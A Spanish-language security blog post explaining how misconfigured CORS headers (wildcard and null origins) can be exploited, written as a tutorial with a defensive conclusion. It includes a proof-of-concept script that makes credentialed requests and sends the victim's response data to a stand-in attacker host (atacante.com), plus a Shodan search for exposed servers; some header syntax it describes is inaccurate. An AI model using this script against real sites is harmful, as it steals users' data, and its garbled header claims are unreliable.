Enter Search Query:

Explotando CORS

Explotando CORS

Explotando CORS

¿ Qué es CORS ?

CORS o intercambio de recursos de origen cruzado, es un mecanismo que permite que recursos restringidos (como por ejemplo, las tipografías) de una pagina web puedan ser solicitados desde un dominio diferente por fuera desde el cual el primer recurso fue expuesto.


Acerca de la vulnerabilidad y como funciona CORS

Los sitios web normalmente habilitan CORS en el mismo origen de la web:

1
Access-Control-Allow-Origin: https://ejemplo.com

Significa que las peticiones que hagan ellos desde otro lugar no se ejecutan ya que estas solo se permiten en el origen del encabezado.

Explotando CORS 1

En esta imagen podemos ver un ejemplo de como si hacemos una petición que no venga del origen (o que no quiera compartir con ese origen)que le indicamos la respuesta es bloqueada. Pero en dado caso que si queramos compartir con ese origen la respuesta se realiza:

Explotando CORS 2

El servidor también puede habilitar lo que son las credenciales utilizando el siguiente encabezado:

1
Access-Control-Allow-Credentials: true

Ahora, cuando confiamos en un solo origen es muy fácil, pero que pasa si deseamos confiar en mas origenes, esto se da mucho en las APIs hoy en dia, en las cabeceras se puede agregar uno o mas origenes utilizando un espacio:

1
Access-Control-Allow-Origin: http://ejemplo1.com http://ejemplo1.net

Se puede hacer uso del comodín * para especificar todos los subdominios, esto no indica que no sea posible  crear un subdominio loquesea.ejemplo.com mientras que este ataque podría permitir ver los recursos compartidos, o simplemente si el dominio tiene en su lista blanca es posible pensar diversas formas de evasión.

1
 Access-Control-Allow-Origin: *.ejemplo.com

Esto peligra al utilizar * en CORS ya que es una mala implementacion, la cual deshabilita simplemente el uso de las credenciales aunque estas estén en Verdadero.

Entonces explicando esto, si un servidor o pagina web que emite la cabecera CORS con * el comodin deja lugar a que un atacante pueda especificar en la cabecera el Origen que el desee tal como:

1
curl https://victima.com -H "Origin: https://atacante.com" -I

Explotando CORS 3
Como resultado es posible visualizar recursos de otros sitios que no deberíamos poder ver.


CORS. Poc.

¿ De que sirve ? Debido que es posbile realizar peticiones donde no es posible, simplemente con hacer un Logger de peticiones que siempre este a la escucha, o simplemente hacer una petición a ver si funciona.

Primero, hacer una petición y analizar si acepta nuestro origen.

Explotando CORS 4

Y después, la respuesta que brinda, la cual permite nuestro dominio.

Explotando CORS 5

Esa petición, es una donde se muestran los datos del usuario asi como sus credenciales.

Prueba.

    function cors() {
       var xhttp = new XMLHttpRequest();
       xhttp.onreadystatechange = function() {
         if (this.readyState == 4 && this.status == 200) {
           document.getElementById("demo").innerHTML =     alert(this.responseText);
         }
       };
       xhttp.open("GET", "https://target.com/user/", true);
       xhttp.withCredentials = true;
       xhttp.send();
     }

Puede dar como resultado, los datos desde cualquier origen.Explotando CORS 6

Es posible crear un logger que vaya guardando los datos.

    var req =new XMLHttpRequest();
     req.onload= reqListener;
     req.open('get','https://vulnerablecors.com',true);
     req.withCredentials = true;
     req.send();

      function reqListener() {
         location='http://atacante.com/gracias.php?c='+this.responseText;

      };


Origen Nulo

La especificacion menciona que está siendo activada por redirecciones y algunas publicaciones de stackoverflow mustran que los archivos locales HTML tambien la obtienen.

Hace que muchos sitios web lo tengan en su lista blanca:

1
Origin: null

¿ Es realmente es explotable?

https://www.shodan.io/search?query=%22Access-Control-Allow-Origin%3A+null%22+

Conclusión.

Configurar correctamente las cabeceras tal como CORS puede evitar fugas de informacion en una página web y otras personas puedan acceder a los recursos.


Agradecemos a @arthusu por compartir el artículo: Explotando CORS

Comentarios

Comentarios

27 marzo, 2020

Posts Relacionados

0 comentarios

Comentarios en: Explotando CORS

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *